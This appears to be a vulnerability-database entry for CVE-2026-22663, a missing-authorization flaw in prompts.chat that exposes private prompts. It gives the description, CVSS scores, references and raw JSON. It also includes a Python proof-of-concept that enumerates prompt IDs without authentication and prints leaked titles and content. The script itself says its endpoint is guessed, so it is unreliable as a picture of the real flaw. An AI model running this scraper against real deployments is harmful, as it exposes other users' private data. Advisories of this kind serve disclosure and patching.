Security Vulnerability Report
中文
CVE-2026-22663 CVSS 7.5 HIGH

CVE-2026-22663

Published: 2026-04-03 21:17:09
Last Modified: 2026-04-13 18:15:02

Description

prompts.chat prior to commit 7b81836 contains multiple authorization bypass vulnerabilities due to missing isPrivate checks across API endpoints and page metadata generation that allow unauthorized users to access sensitive data associated with private prompts. Attackers can exploit these missing authorization checks to retrieve private prompt version history, change requests, examples, current content, and metadata including titles and descriptions exposed via HTML meta tags.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fka:prompts.chat:*:*:*:*:*:*:*:* - VULNERABLE
prompts.chat < commit 7b81836

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target base URL (Replace with actual target) target_base = "https://example.prompts.chat" # The vulnerable endpoint usually follows a pattern like /api/prompts/{id} or /api/prompts/{id}/versions # Since specific endpoint details aren't provided, we simulate a common pattern for this type of app. vulnerable_endpoint = "/api/prompts/{id}/details" headers = { "User-Agent": "CVE-2026-22663-Scanner/1.0", "Accept": "application/json" } print("[*] Starting authorization bypass test on prompts.chat...") # Iterate through potential prompt IDs for prompt_id in range(1, 50): url = target_base + vulnerable_endpoint.format(id=prompt_id) try: # Send request without authentication token to exploit the missing isPrivate check response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: data = response.json() # Check if data contains sensitive fields indicating a private prompt was accessed if 'title' in data and 'content' in data: print(f"[+] Vulnerability confirmed! Leaked data for ID {prompt_id}:") print(f" Title: {data.get('title')}") print(f" Content: {data.get('content')[:50]}...") elif response.status_code == 403: print(f"[-] Access denied for ID {prompt_id} (Patch applied or not vulnerable)") except requests.RequestException as e: print(f"[!] Error connecting to {url}: {e}") print("[*] Scan complete.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22663", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:09.337", "lastModified": "2026-04-13T18:15:02.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "prompts.chat prior to commit 7b81836 contains multiple authorization bypass vulnerabilities due to missing isPrivate checks across API endpoints and page metadata generation that allow unauthorized users to access sensitive data associated with private prompts. Attackers can exploit these missing authorization checks to retrieve private prompt version history, change requests, examples, current content, and metadata including titles and descriptions exposed via HTML meta tags."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fka:prompts.chat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-25", "matchCriteriaId": "2231F343-295D-417B-9925-BA342FB6A8F0"}]}]}], "references": [{"url": "https://github.com/f/prompts.chat/commit/7b81836b214f2796aaf37ded2944eadc978afd35", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/f/prompts.chat/pull/1104", "source": "[email protected]", "tags": ["Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/prompts-chat-authorization-bypass-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}